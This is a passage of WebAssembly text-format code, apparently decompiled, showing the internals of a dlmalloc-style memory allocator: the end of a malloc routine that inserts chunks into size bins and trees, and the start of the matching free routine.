(i32.load offset=5376
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l4))))
(br $B80))
(i32.store
(i32.add
(local.get $l9)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l9))
(local.get $l2))))
(local.get $l5))
(br_if $B80
(i32.eqz
(local.get $l5))))
(i32.store offset=24
(local.get $l5)
(local.get $l9))
(block $B89
(br_if $B89
(i32.eqz
(local.tee $p0
(i32.load offset=16
(local.get $l2)))))
(i32.store offset=16
(local.get $l5)
(local.get $p0))
(i32.store offset=24
(local.get $p0)
(local.get $l5)))
(br_if $B80
(i32.eqz
(local.tee $p0
(i32.load offset=20
(local.get $l2)))))
(i32.store
(i32.add
(local.get $l5)
(i32.const 20))
(local.get $p0))
(i32.store offset=24
(local.get $p0)
(local.get $l5)))
(local.set $l3
(i32.add
(local.get $l7)
(local.get $l3)))
(local.set $l2
(i32.add
(local.get $l2)
(local.get $l7))))
(i32.store offset=4
(local.get $l2)
(i32.and
(i32.load offset=4
(local.get $l2))
(i32.const -2)))
(i32.store offset=4
(local.get $l6)
(i32.or
(local.get $l3)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l6)
(local.get $l3))
(local.get $l3))
(block $B90
(br_if $B90
(i32.gt_u
(local.get $l3)
(i32.const 255)))
(local.set $p0
(i32.add
(i32.shl
(local.tee $l4
(i32.shr_u
(local.get $l3)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))
(block $B91
(block $B92
(br_if $B92
(i32.and
(local.tee $l3
(i32.load offset=5372
(i32.const 0)))
(local.tee $l4
(i32.shl
(i32.const 1)
(local.get $l4)))))
(i32.store offset=5372
(i32.const 0)
(i32.or
(local.get $l3)
(local.get $l4)))
(local.set $l4
(local.get $p0))
(br $B91))
(local.set $l4
(i32.load offset=8
(local.get $p0))))
(i32.store offset=8
(local.get $p0)
(local.get $l6))
(i32.store offset=12
(local.get $l4)
(local.get $l6))
(i32.store offset=12
(local.get $l6)
(local.get $p0))
(i32.store offset=8
(local.get $l6)
(local.get $l4))
(br $B68))
(local.set $p0
(i32.const 31))
(block $B93
(br_if $B93
(i32.gt_u
(local.get $l3)
(i32.const 16777215)))
(local.set $p0
(i32.add
(i32.or
(i32.shl
(local.tee $p0
(i32.sub
(i32.shr_u
(i32.shl
(local.tee $l5
(i32.shl
(local.tee $l4
(i32.shl
(local.tee $p0
(i32.shr_u
(local.get $l3)
(i32.const 8)))
(local.tee $p0
(i32.and
(i32.shr_u
(i32.add
(local.get $p0)
(i32.const 1048320))
(i32.const 16))
(i32.const 8)))))
(local.tee $l4
(i32.and
(i32.shr_u
(i32.add
(local.get $l4)
(i32.const 520192))
(i32.const 16))
(i32.const 4)))))
(local.tee $l5
(i32.and
(i32.shr_u
(i32.add
(local.get $l5)
(i32.const 245760))
(i32.const 16))
(i32.const 2))))
(i32.const 15))
(i32.or
(i32.or
(local.get $p0)
(local.get $l4))
(local.get $l5))))
(i32.const 1))
(i32.and
(i32.shr_u
(local.get $l3)
(i32.add
(local.get $p0)
(i32.const 21)))
(i32.const 1)))
(i32.const 28))))
(i32.store offset=28
(local.get $l6)
(local.get $p0))
(i64.store offset=16 align=4
(local.get $l6)
(i64.const 0))
(local.set $l4
(i32.add
(i32.shl
(local.get $p0)
(i32.const 2))
(i32.const 5676)))
(block $B94
(block $B95
(br_if $B95
(i32.and
(local.tee $l5
(i32.load offset=5376
(i32.const 0)))
(local.tee $l8
(i32.shl
(i32.const 1)
(local.get $p0)))))
(i32.store offset=5376
(i32.const 0)
(i32.or
(local.get $l5)
(local.get $l8)))
(i32.store
(local.get $l4)
(local.get $l6))
(i32.store offset=24
(local.get $l6)
(local.get $l4))
(br $B94))
(local.set $p0
(i32.shl
(local.get $l3)
(select
(i32.const 0)
(i32.sub
(i32.const 25)
(i32.shr_u
(local.get $p0)
(i32.const 1)))
(i32.eq
(local.get $p0)
(i32.const 31)))))
(local.set $l5
(i32.load
(local.get $l4)))
(loop $L96
(br_if $B69
(i32.eq
(i32.and
(i32.load offset=4
(local.tee $l4
(local.get $l5)))
(i32.const -8))
(local.get $l3)))
(local.set $l5
(i32.shr_u
(local.get $p0)
(i32.const 29)))
(local.set $p0
(i32.shl
(local.get $p0)
(i32.const 1)))
(br_if $L96
(local.tee $l5
(i32.load
(local.tee $l8
(i32.add
(i32.add
(local.get $l4)
(i32.and
(local.get $l5)
(i32.const 4)))
(i32.const 16)))))))
(i32.store
(local.get $l8)
(local.get $l6))
(i32.store offset=24
(local.get $l6)
(local.get $l4)))
(i32.store offset=12
(local.get $l6)
(local.get $l6))
(i32.store offset=8
(local.get $l6)
(local.get $l6))
(br $B68))
(i32.store offset=5384
(i32.const 0)
(local.tee $l11
(i32.sub
(local.tee $p0
(i32.add
(local.get $l2)
(i32.const -40)))
(local.tee $l8
(select
(i32.and
(i32.sub
(i32.const -8)
(local.get $l5))
(i32.const 7))
(i32.const 0)
(i32.and
(i32.add
(local.get $l5)
(i32.const 8))
(i32.const 7)))))))
(i32.store offset=5396
(i32.const 0)
(local.tee $l8
(i32.add
(local.get $l5)
(local.get $l8))))
(i32.store offset=4
(local.get $l8)
(i32.or
(local.get $l11)
(i32.const 1)))
(i32.store offset=4
(i32.add
(local.get $l5)
(local.get $p0))
(i32.const 40))
(i32.store offset=5400
(i32.const 0)
(i32.load offset=5860
(i32.const 0)))
(i32.store offset=4
(local.tee $l8
(select
(local.get $l4)
(local.tee $p0
(i32.add
(i32.add
(local.get $l6)
(select
(i32.and
(i32.sub
(i32.const 39)
(local.get $l6))
(i32.const 7))
(i32.const 0)
(i32.and
(i32.add
(local.get $l6)
(i32.const -39))
(i32.const 7))))
(i32.const -47)))
(i32.lt_u
(local.get $p0)
(i32.add
(local.get $l4)
(i32.const 16)))))
(i32.const 27))
(i64.store align=4
(i32.add
(local.get $l8)
(i32.const 16))
(i64.load offset=5828 align=4
(i32.const 0)))
(i64.store offset=8 align=4
(local.get $l8)
(i64.load offset=5820 align=4
(i32.const 0)))
(i32.store offset=5828
(i32.const 0)
(i32.add
(local.get $l8)
(i32.const 8)))
(i32.store offset=5824
(i32.const 0)
(local.get $l2))
(i32.store offset=5820
(i32.const 0)
(local.get $l5))
(i32.store offset=5832
(i32.const 0)
(i32.const 0))
(local.set $p0
(i32.add
(local.get $l8)
(i32.const 24)))
(loop $L97
(i32.store offset=4
(local.get $p0)
(i32.const 7))
(local.set $l5
(i32.add
(local.get $p0)
(i32.const 8)))
(local.set $p0
(i32.add
(local.get $p0)
(i32.const 4)))
(br_if $L97
(i32.gt_u
(local.get $l6)
(local.get $l5))))
(br_if $B58
(i32.eq
(local.get $l8)
(local.get $l4)))
(i32.store offset=4
(local.get $l8)
(i32.and
(i32.load offset=4
(local.get $l8))
(i32.const -2)))
(i32.store offset=4
(local.get $l4)
(i32.or
(local.tee $l2
(i32.sub
(local.get $l8)
(local.get $l4)))
(i32.const 1)))
(i32.store
(local.get $l8)
(local.get $l2))
(block $B98
(br_if $B98
(i32.gt_u
(local.get $l2)
(i32.const 255)))
(local.set $p0
(i32.add
(i32.shl
(local.tee $l6
(i32.shr_u
(local.get $l2)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))
(block $B99
(block $B100
(br_if $B100
(i32.and
(local.tee $l5
(i32.load offset=5372
(i32.const 0)))
(local.tee $l6
(i32.shl
(i32.const 1)
(local.get $l6)))))
(i32.store offset=5372
(i32.const 0)
(i32.or
(local.get $l5)
(local.get $l6)))
(local.set $l6
(local.get $p0))
(br $B99))
(local.set $l6
(i32.load offset=8
(local.get $p0))))
(i32.store offset=8
(local.get $p0)
(local.get $l4))
(i32.store offset=12
(local.get $l6)
(local.get $l4))
(i32.store offset=12
(local.get $l4)
(local.get $p0))
(i32.store offset=8
(local.get $l4)
(local.get $l6))
(br $B58))
(local.set $p0
(i32.const 31))
(block $B101
(br_if $B101
(i32.gt_u
(local.get $l2)
(i32.const 16777215)))
(local.set $p0
(i32.add
(i32.or
(i32.shl
(local.tee $p0
(i32.sub
(i32.shr_u
(i32.shl
(local.tee $l5
(i32.shl
(local.tee $l6
(i32.shl
(local.tee $p0
(i32.shr_u
(local.get $l2)
(i32.const 8)))
(local.tee $p0
(i32.and
(i32.shr_u
(i32.add
(local.get $p0)
(i32.const 1048320))
(i32.const 16))
(i32.const 8)))))
(local.tee $l6
(i32.and
(i32.shr_u
(i32.add
(local.get $l6)
(i32.const 520192))
(i32.const 16))
(i32.const 4)))))
(local.tee $l5
(i32.and
(i32.shr_u
(i32.add
(local.get $l5)
(i32.const 245760))
(i32.const 16))
(i32.const 2))))
(i32.const 15))
(i32.or
(i32.or
(local.get $p0)
(local.get $l6))
(local.get $l5))))
(i32.const 1))
(i32.and
(i32.shr_u
(local.get $l2)
(i32.add
(local.get $p0)
(i32.const 21)))
(i32.const 1)))
(i32.const 28))))
(i64.store offset=16 align=4
(local.get $l4)
(i64.const 0))
(i32.store
(i32.add
(local.get $l4)
(i32.const 28))
(local.get $p0))
(local.set $l6
(i32.add
(i32.shl
(local.get $p0)
(i32.const 2))
(i32.const 5676)))
(block $B102
(block $B103
(br_if $B103
(i32.and
(local.tee $l5
(i32.load offset=5376
(i32.const 0)))
(local.tee $l8
(i32.shl
(i32.const 1)
(local.get $p0)))))
(i32.store offset=5376
(i32.const 0)
(i32.or
(local.get $l5)
(local.get $l8)))
(i32.store
(local.get $l6)
(local.get $l4))
(i32.store
(i32.add
(local.get $l4)
(i32.const 24))
(local.get $l6))
(br $B102))
(local.set $p0
(i32.shl
(local.get $l2)
(select
(i32.const 0)
(i32.sub
(i32.const 25)
(i32.shr_u
(local.get $p0)
(i32.const 1)))
(i32.eq
(local.get $p0)
(i32.const 31)))))
(local.set $l5
(i32.load
(local.get $l6)))
(loop $L104
(br_if $B67
(i32.eq
(i32.and
(i32.load offset=4
(local.tee $l6
(local.get $l5)))
(i32.const -8))
(local.get $l2)))
(local.set $l5
(i32.shr_u
(local.get $p0)
(i32.const 29)))
(local.set $p0
(i32.shl
(local.get $p0)
(i32.const 1)))
(br_if $L104
(local.tee $l5
(i32.load
(local.tee $l8
(i32.add
(i32.add
(local.get $l6)
(i32.and
(local.get $l5)
(i32.const 4)))
(i32.const 16)))))))
(i32.store
(local.get $l8)
(local.get $l4))
(i32.store
(i32.add
(local.get $l4)
(i32.const 24))
(local.get $l6)))
(i32.store offset=12
(local.get $l4)
(local.get $l4))
(i32.store offset=8
(local.get $l4)
(local.get $l4))
(br $B58))
(i32.store offset=12
(local.tee $p0
(i32.load offset=8
(local.get $l4)))
(local.get $l6))
(i32.store offset=8
(local.get $l4)
(local.get $l6))
(i32.store offset=24
(local.get $l6)
(i32.const 0))
(i32.store offset=12
(local.get $l6)
(local.get $l4))
(i32.store offset=8
(local.get $l6)
(local.get $p0)))
(local.set $p0
(i32.add
(local.get $l11)
(i32.const 8)))
(br $B0))
(i32.store offset=12
(local.tee $p0
(i32.load offset=8
(local.get $l6)))
(local.get $l4))
(i32.store offset=8
(local.get $l6)
(local.get $l4))
(i32.store
(i32.add
(local.get $l4)
(i32.const 24))
(i32.const 0))
(i32.store offset=12
(local.get $l4)
(local.get $l6))
(i32.store offset=8
(local.get $l4)
(local.get $p0)))
(br_if $B3
(i32.le_u
(local.tee $p0
(i32.load offset=5384
(i32.const 0)))
(local.get $l3)))
(i32.store offset=5384
(i32.const 0)
(local.tee $l4
(i32.sub
(local.get $p0)
(local.get $l3))))
(i32.store offset=5396
(i32.const 0)
(local.tee $l6
(i32.add
(local.tee $p0
(i32.load offset=5396
(i32.const 0)))
(local.get $l3))))
(i32.store offset=4
(local.get $l6)
(i32.or
(local.get $l4)
(i32.const 1)))
(i32.store offset=4
(local.get $p0)
(i32.or
(local.get $l3)
(i32.const 3)))
(local.set $p0
(i32.add
(local.get $p0)
(i32.const 8)))
(br $B0))
(i32.store
(call $__errno_location)
(i32.const 48))
(local.set $p0
(i32.const 0))
(br $B0))
(block $B105
(br_if $B105
(i32.eqz
(local.get $l11)))
(block $B106
(block $B107
(br_if $B107
(i32.ne
(local.get $l8)
(i32.load
(local.tee $p0
(i32.add
(i32.shl
(local.tee $l6
(i32.load offset=28
(local.get $l8)))
(i32.const 2))
(i32.const 5676))))))
(i32.store
(local.get $p0)
(local.get $l5))
(br_if $B106
(local.get $l5))
(i32.store offset=5376
(i32.const 0)
(local.tee $l9
(i32.and
(local.get $l9)
(i32.rotl
(i32.const -2)
(local.get $l6)))))
(br $B105))
(i32.store
(i32.add
(local.get $l11)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l11))
(local.get $l8))))
(local.get $l5))
(br_if $B105
(i32.eqz
(local.get $l5))))
(i32.store offset=24
(local.get $l5)
(local.get $l11))
(block $B108
(br_if $B108
(i32.eqz
(local.tee $p0
(i32.load offset=16
(local.get $l8)))))
(i32.store offset=16
(local.get $l5)
(local.get $p0))
(i32.store offset=24
(local.get $p0)
(local.get $l5)))
(br_if $B105
(i32.eqz
(local.tee $p0
(i32.load
(i32.add
(local.get $l8)
(i32.const 20))))))
(i32.store
(i32.add
(local.get $l5)
(i32.const 20))
(local.get $p0))
(i32.store offset=24
(local.get $p0)
(local.get $l5)))
(block $B109
(block $B110
(br_if $B110
(i32.gt_u
(local.get $l4)
(i32.const 15)))
(i32.store offset=4
(local.get $l8)
(i32.or
(local.tee $p0
(i32.add
(local.get $l4)
(local.get $l3)))
(i32.const 3)))
(i32.store offset=4
(local.tee $p0
(i32.add
(local.get $l8)
(local.get $p0)))
(i32.or
(i32.load offset=4
(local.get $p0))
(i32.const 1)))
(br $B109))
(i32.store offset=4
(local.get $l8)
(i32.or
(local.get $l3)
(i32.const 3)))
(i32.store offset=4
(local.tee $l5
(i32.add
(local.get $l8)
(local.get $l3)))
(i32.or
(local.get $l4)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l5)
(local.get $l4))
(local.get $l4))
(block $B111
(br_if $B111
(i32.gt_u
(local.get $l4)
(i32.const 255)))
(local.set $p0
(i32.add
(i32.shl
(local.tee $l4
(i32.shr_u
(local.get $l4)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))
(block $B112
(block $B113
(br_if $B113
(i32.and
(local.tee $l3
(i32.load offset=5372
(i32.const 0)))
(local.tee $l4
(i32.shl
(i32.const 1)
(local.get $l4)))))
(i32.store offset=5372
(i32.const 0)
(i32.or
(local.get $l3)
(local.get $l4)))
(local.set $l4
(local.get $p0))
(br $B112))
(local.set $l4
(i32.load offset=8
(local.get $p0))))
(i32.store offset=8
(local.get $p0)
(local.get $l5))
(i32.store offset=12
(local.get $l4)
(local.get $l5))
(i32.store offset=12
(local.get $l5)
(local.get $p0))
(i32.store offset=8
(local.get $l5)
(local.get $l4))
(br $B109))
(local.set $p0
(i32.const 31))
(block $B114
(br_if $B114
(i32.gt_u
(local.get $l4)
(i32.const 16777215)))
(local.set $p0
(i32.add
(i32.or
(i32.shl
(local.tee $p0
(i32.sub
(i32.shr_u
(i32.shl
(local.tee $l6
(i32.shl
(local.tee $l3
(i32.shl
(local.tee $p0
(i32.shr_u
(local.get $l4)
(i32.const 8)))
(local.tee $p0
(i32.and
(i32.shr_u
(i32.add
(local.get $p0)
(i32.const 1048320))
(i32.const 16))
(i32.const 8)))))
(local.tee $l3
(i32.and
(i32.shr_u
(i32.add
(local.get $l3)
(i32.const 520192))
(i32.const 16))
(i32.const 4)))))
(local.tee $l6
(i32.and
(i32.shr_u
(i32.add
(local.get $l6)
(i32.const 245760))
(i32.const 16))
(i32.const 2))))
(i32.const 15))
(i32.or
(i32.or
(local.get $p0)
(local.get $l3))
(local.get $l6))))
(i32.const 1))
(i32.and
(i32.shr_u
(local.get $l4)
(i32.add
(local.get $p0)
(i32.const 21)))
(i32.const 1)))
(i32.const 28))))
(i32.store offset=28
(local.get $l5)
(local.get $p0))
(i64.store offset=16 align=4
(local.get $l5)
(i64.const 0))
(local.set $l3
(i32.add
(i32.shl
(local.get $p0)
(i32.const 2))
(i32.const 5676)))
(block $B115
(block $B116
(block $B117
(br_if $B117
(i32.and
(local.get $l9)
(local.tee $l6
(i32.shl
(i32.const 1)
(local.get $p0)))))
(i32.store offset=5376
(i32.const 0)
(i32.or
(local.get $l9)
(local.get $l6)))
(i32.store
(local.get $l3)
(local.get $l5))
(i32.store offset=24
(local.get $l5)
(local.get $l3))
(br $B116))
(local.set $p0
(i32.shl
(local.get $l4)
(select
(i32.const 0)
(i32.sub
(i32.const 25)
(i32.shr_u
(local.get $p0)
(i32.const 1)))
(i32.eq
(local.get $p0)
(i32.const 31)))))
(local.set $l6
(i32.load
(local.get $l3)))
(loop $L118
(br_if $B115
(i32.eq
(i32.and
(i32.load offset=4
(local.tee $l3
(local.get $l6)))
(i32.const -8))
(local.get $l4)))
(local.set $l6
(i32.shr_u
(local.get $p0)
(i32.const 29)))
(local.set $p0
(i32.shl
(local.get $p0)
(i32.const 1)))
(br_if $L118
(local.tee $l6
(i32.load
(local.tee $l2
(i32.add
(i32.add
(local.get $l3)
(i32.and
(local.get $l6)
(i32.const 4)))
(i32.const 16)))))))
(i32.store
(local.get $l2)
(local.get $l5))
(i32.store offset=24
(local.get $l5)
(local.get $l3)))
(i32.store offset=12
(local.get $l5)
(local.get $l5))
(i32.store offset=8
(local.get $l5)
(local.get $l5))
(br $B109))
(i32.store offset=12
(local.tee $p0
(i32.load offset=8
(local.get $l3)))
(local.get $l5))
(i32.store offset=8
(local.get $l3)
(local.get $l5))
(i32.store offset=24
(local.get $l5)
(i32.const 0))
(i32.store offset=12
(local.get $l5)
(local.get $l3))
(i32.store offset=8
(local.get $l5)
(local.get $p0)))
(local.set $p0
(i32.add
(local.get $l8)
(i32.const 8)))
(br $B0))
(block $B119
(br_if $B119
(i32.eqz
(local.get $l10)))
(block $B120
(block $B121
(br_if $B121
(i32.ne
(local.get $l5)
(i32.load
(local.tee $p0
(i32.add
(i32.shl
(local.tee $l6
(i32.load offset=28
(local.get $l5)))
(i32.const 2))
(i32.const 5676))))))
(i32.store
(local.get $p0)
(local.get $l8))
(br_if $B120
(local.get $l8))
(i32.store offset=5376
(i32.const 0)
(i32.and
(local.get $l9)
(i32.rotl
(i32.const -2)
(local.get $l6))))
(br $B119))
(i32.store
(i32.add
(local.get $l10)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l10))
(local.get $l5))))
(local.get $l8))
(br_if $B119
(i32.eqz
(local.get $l8))))
(i32.store offset=24
(local.get $l8)
(local.get $l10))
(block $B122
(br_if $B122
(i32.eqz
(local.tee $p0
(i32.load offset=16
(local.get $l5)))))
(i32.store offset=16
(local.get $l8)
(local.get $p0))
(i32.store offset=24
(local.get $p0)
(local.get $l8)))
(br_if $B119
(i32.eqz
(local.tee $p0
(i32.load
(i32.add
(local.get $l5)
(i32.const 20))))))
(i32.store
(i32.add
(local.get $l8)
(i32.const 20))
(local.get $p0))
(i32.store offset=24
(local.get $p0)
(local.get $l8)))
(block $B123
(block $B124
(br_if $B124
(i32.gt_u
(local.get $l4)
(i32.const 15)))
(i32.store offset=4
(local.get $l5)
(i32.or
(local.tee $p0
(i32.add
(local.get $l4)
(local.get $l3)))
(i32.const 3)))
(i32.store offset=4
(local.tee $p0
(i32.add
(local.get $l5)
(local.get $p0)))
(i32.or
(i32.load offset=4
(local.get $p0))
(i32.const 1)))
(br $B123))
(i32.store offset=4
(local.get $l5)
(i32.or
(local.get $l3)
(i32.const 3)))
(i32.store offset=4
(local.tee $l3
(i32.add
(local.get $l5)
(local.get $l3)))
(i32.or
(local.get $l4)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l3)
(local.get $l4))
(local.get $l4))
(block $B125
(br_if $B125
(i32.eqz
(local.get $l7)))
(local.set $l6
(i32.add
(i32.shl
(local.tee $l8
(i32.shr_u
(local.get $l7)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))
(local.set $p0
(i32.load offset=5392
(i32.const 0)))
(block $B126
(block $B127
(br_if $B127
(i32.and
(local.tee $l8
(i32.shl
(i32.const 1)
(local.get $l8)))
(local.get $l2)))
(i32.store offset=5372
(i32.const 0)
(i32.or
(local.get $l8)
(local.get $l2)))
(local.set $l8
(local.get $l6))
(br $B126))
(local.set $l8
(i32.load offset=8
(local.get $l6))))
(i32.store offset=8
(local.get $l6)
(local.get $p0))
(i32.store offset=12
(local.get $l8)
(local.get $p0))
(i32.store offset=12
(local.get $p0)
(local.get $l6))
(i32.store offset=8
(local.get $p0)
(local.get $l8)))
(i32.store offset=5392
(i32.const 0)
(local.get $l3))
(i32.store offset=5380
(i32.const 0)
(local.get $l4)))
(local.set $p0
(i32.add
(local.get $l5)
(i32.const 8))))
(global.set $g0
(i32.add
(local.get $l1)
(i32.const 16)))
(local.get $p0))
(func $f94 (type $t5) (param $p0 i32)
(local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32)
(block $B0
(br_if $B0
(i32.eqz
(local.get $p0)))
(local.set $l3
(i32.add
(local.tee $l1
(i32.add
(local.get $p0)
(i32.const -8)))
(local.tee $p0
(i32.and
(local.tee $l2
(i32.load
(i32.add
(local.get $p0)
(i32.const -4))))
(i32.const -8)))))
(block $B1
(br_if $B1
(i32.and
(local.get $l2)
(i32.const 1)))
(br_if $B0
(i32.eqz
(i32.and
(local.get $l2)
(i32.const 3))))
(br_if $B0
(i32.lt_u
(local.tee $l1
(i32.sub
(local.get $l1)
(local.tee $l2
(i32.load
(local.get $l1)))))
(local.tee $l4
(i32.load offset=5388
(i32.const 0)))))
(local.set $p0
(i32.add
(local.get $l2)
(local.get $p0)))
(block $B2
(br_if $B2
(i32.eq
(i32.load offset=5392
(i32.const 0))
(local.get $l1)))
(block $B3
(br_if $B3
(i32.gt_u
(local.get $l2)
(i32.const 255)))
(drop
(i32.eq
(local.tee $l4
(i32.load offset=8
(local.get $l1)))
(local.tee $l6
(i32.add
(i32.shl
(local.tee $l5
(i32.shr_u
(local.get $l2)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))))
(block $B4
(br_if $B4
(i32.ne
(local.tee $l2
(i32.load offset=12
(local.get $l1)))
(local.get $l4)))
(i32.store offset=5372
(i32.const 0)
(i32.and
(i32.load offset=5372
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l5))))
(br $B1))
(drop
(i32.eq
(local.get $l2)
(local.get $l6)))
(i32.store offset=12
(local.get $l4)
(local.get $l2))
(i32.store offset=8
(local.get $l2)
(local.get $l4))
(br $B1))
(local.set $l7
(i32.load offset=24
(local.get $l1)))
(block $B5
(block $B6
(br_if $B6
(i32.eq
(local.tee $l6
(i32.load offset=12
(local.get $l1)))
(local.get $l1)))
(drop
(i32.gt_u
(local.get $l4)
(local.tee $l2
(i32.load offset=8
(local.get $l1)))))
(i32.store offset=12
(local.get $l2)
(local.get $l6))
(i32.store offset=8
(local.get $l6)
(local.get $l2))
(br $B5))
(block $B7
(br_if $B7
(local.tee $l4
(i32.load
(local.tee $l2
(i32.add
(local.get $l1)
(i32.const 20))))))
(br_if $B7
(local.tee $l4
(i32.load
(local.tee $l2
(i32.add
(local.get $l1)
(i32.const 16))))))
(local.set $l6
(i32.const 0))
(br $B5))
(loop $L8
(local.set $l5
(local.get $l2))
(br_if $L8
(local.tee $l4
(i32.load
(local.tee $l2
(i32.add
(local.tee $l6
(local.get $l4))
(i32.const 20))))))
(local.set $l2
(i32.add
(local.get $l6)
(i32.const 16)))
(br_if $L8
(local.tee $l4
(i32.load offset=16
(local.get $l6)))))
(i32.store
(local.get $l5)
(i32.const 0)))
(br_if $B1
(i32.eqz
(local.get $l7)))
(block $B9
(block $B10
(br_if $B10
(i32.ne
(i32.load
(local.tee $l2
(i32.add
(i32.shl
(local.tee $l4
(i32.load offset=28
(local.get $l1)))
(i32.const 2))
(i32.const 5676))))
(local.get $l1)))
(i32.store
(local.get $l2)
(local.get $l6))
(br_if $B9
(local.get $l6))
(i32.store offset=5376
(i32.const 0)
(i32.and
(i32.load offset=5376
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l4))))
(br $B1))
(i32.store
(i32.add
(local.get $l7)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l7))
(local.get $l1))))
(local.get $l6))
(br_if $B1
(i32.eqz
(local.get $l6))))
(i32.store offset=24
(local.get $l6)
(local.get $l7))
(block $B11
(br_if $B11
(i32.eqz
(local.tee $l2
(i32.load offset=16
(local.get $l1)))))
(i32.store offset=16
(local.get $l6)
(local.get $l2))
(i32.store offset=24
(local.get $l2)
(local.get $l6)))
(br_if $B1
(i32.eqz
(local.tee $l2
(i32.load offset=20
(local.get $l1)))))
(i32.store
(i32.add
(local.get $l6)
(i32.const 20))
(local.get $l2))
(i32.store offset=24
(local.get $l2)
(local.get $l6))
(br $B1))
(br_if $B1
(i32.ne
(i32.and
(local.tee $l2
(i32.load offset=4
(local.get $l3)))
(i32.const 3))
(i32.const 3)))
(i32.store offset=5380
(i32.const 0)
(local.get $p0))
(i32.store offset=4
(local.get $l3)
(i32.and
(local.get $l2)
(i32.const -2)))
(i32.store offset=4
(local.get $l1)
(i32.or
(local.get $p0)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l1)
(local.get $p0))
(local.get $p0))
(return))
(br_if $B0
(i32.le_u
(local.get $l3)
(local.get $l1)))
(br_if $B0
(i32.eqz
(i32.and
(local.tee $l2
(i32.load offset=4
(local.get $l3)))
(i32.const 1))))
(block $B12
(block $B13
(br_if $B13
(i32.and
(local.get $l2)
(i32.const 2)))
(block $B14
(br_if $B14
(i32.ne
(i32.load offset=5396
(i32.const 0))
(local.get $l3)))
(i32.store offset=5396
(i32.const 0)
(local.get $l1))
(i32.store offset=5384
(i32.const 0)
(local.tee $p0
(i32.add
(i32.load offset=5384
(i32.const 0))
(local.get $p0))))
(i32.store offset=4
(local.get $l1)
(i32.or
(local.get $p0)
(i32.const 1)))
(br_if $B0
(i32.ne
(local.get $l1)
(i32.load offset=5392
(i32.const 0))))
(i32.store offset=5380
(i32.const 0)
(i32.const 0))
(i32.store offset=5392
(i32.const 0)
(i32.const 0))
(return))
(block $B15
(br_if $B15
(i32.ne
(i32.load offset=5392
(i32.const 0))
(local.get $l3)))
(i32.store offset=5392
(i32.const 0)
(local.get $l1))
(i32.store offset=5380
(i32.const 0)
(local.tee $p0
(i32.add
(i32.load offset=5380
(i32.const 0))
(local.get $p0))))
(i32.store offset=4
(local.get $l1)
(i32.or
(local.get $p0)
(i32.const 1)))
(i32.store
(i32.add
(local.get $l1)
(local.get $p0))
(local.get $p0))
(return))
(local.set $p0
(i32.add
(i32.and
(local.get $l2)
(i32.const -8))
(local.get $p0)))
(block $B16
(block $B17
(br_if $B17
(i32.gt_u
(local.get $l2)
(i32.const 255)))
(drop
(i32.eq
(local.tee $l4
(i32.load offset=8
(local.get $l3)))
(local.tee $l6
(i32.add
(i32.shl
(local.tee $l5
(i32.shr_u
(local.get $l2)
(i32.const 3)))
(i32.const 3))
(i32.const 5412)))))
(block $B18
(br_if $B18
(i32.ne
(local.tee $l2
(i32.load offset=12
(local.get $l3)))
(local.get $l4)))
(i32.store offset=5372
(i32.const 0)
(i32.and
(i32.load offset=5372
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l5))))
(br $B16))
(drop
(i32.eq
(local.get $l2)
(local.get $l6)))
(i32.store offset=12
(local.get $l4)
(local.get $l2))
(i32.store offset=8
(local.get $l2)
(local.get $l4))
(br $B16))
(local.set $l7
(i32.load offset=24
(local.get $l3)))
(block $B19
(block $B20
(br_if $B20
(i32.eq
(local.tee $l6
(i32.load offset=12
(local.get $l3)))
(local.get $l3)))
(drop
(i32.gt_u
(i32.load offset=5388
(i32.const 0))
(local.tee $l2
(i32.load offset=8
(local.get $l3)))))
(i32.store offset=12
(local.get $l2)
(local.get $l6))
(i32.store offset=8
(local.get $l6)
(local.get $l2))
(br $B19))
(block $B21
(br_if $B21
(local.tee $l4
(i32.load
(local.tee $l2
(i32.add
(local.get $l3)
(i32.const 20))))))
(br_if $B21
(local.tee $l4
(i32.load
(local.tee $l2
(i32.add
(local.get $l3)
(i32.const 16))))))
(local.set $l6
(i32.const 0))
(br $B19))
(loop $L22
(local.set $l5
(local.get $l2))
(br_if $L22
(local.tee $l4
(i32.load
(local.tee $l2
(i32.add
(local.tee $l6
(local.get $l4))
(i32.const 20))))))
(local.set $l2
(i32.add
(local.get $l6)
(i32.const 16)))
(br_if $L22
(local.tee $l4
(i32.load offset=16
(local.get $l6)))))
(i32.store
(local.get $l5)
(i32.const 0)))
(br_if $B16
(i32.eqz
(local.get $l7)))
(block $B23
(block $B24
(br_if $B24
(i32.ne
(i32.load
(local.tee $l2
(i32.add
(i32.shl
(local.tee $l4
(i32.load offset=28
(local.get $l3)))
(i32.const 2))
(i32.const 5676))))
(local.get $l3)))
(i32.store
(local.get $l2)
(local.get $l6))
(br_if $B23
(local.get $l6))
(i32.store offset=5376
(i32.const 0)
(i32.and
(i32.load offset=5376
(i32.const 0))
(i32.rotl
(i32.const -2)
(local.get $l4))))
(br $B16))
(i32.store
(i32.add
(local.get $l7)
(select
(i32.const 16)
(i32.const 20)
(i32.eq
(i32.load offset=16
(local.get $l7))
(local.get $l3))))
(local.get $l6))
(br_if $B16
(i32.eqz
(local.get $l6))))
(i32.store offset=24
(local.get $l6)
(local.get $l7))
(block $B25
(br_if $B25
(i32.eqz
(local.tee $l2
(i32.load offset=16
(local.get $l3)))))
(i32.store offset=16
(local.get $l6)
(local.get $l2))
(i32.store offset=24
(local.get $l2)
(local.get $l6)))
(br_if $B16
(i32.eqz
(local.tee $l2
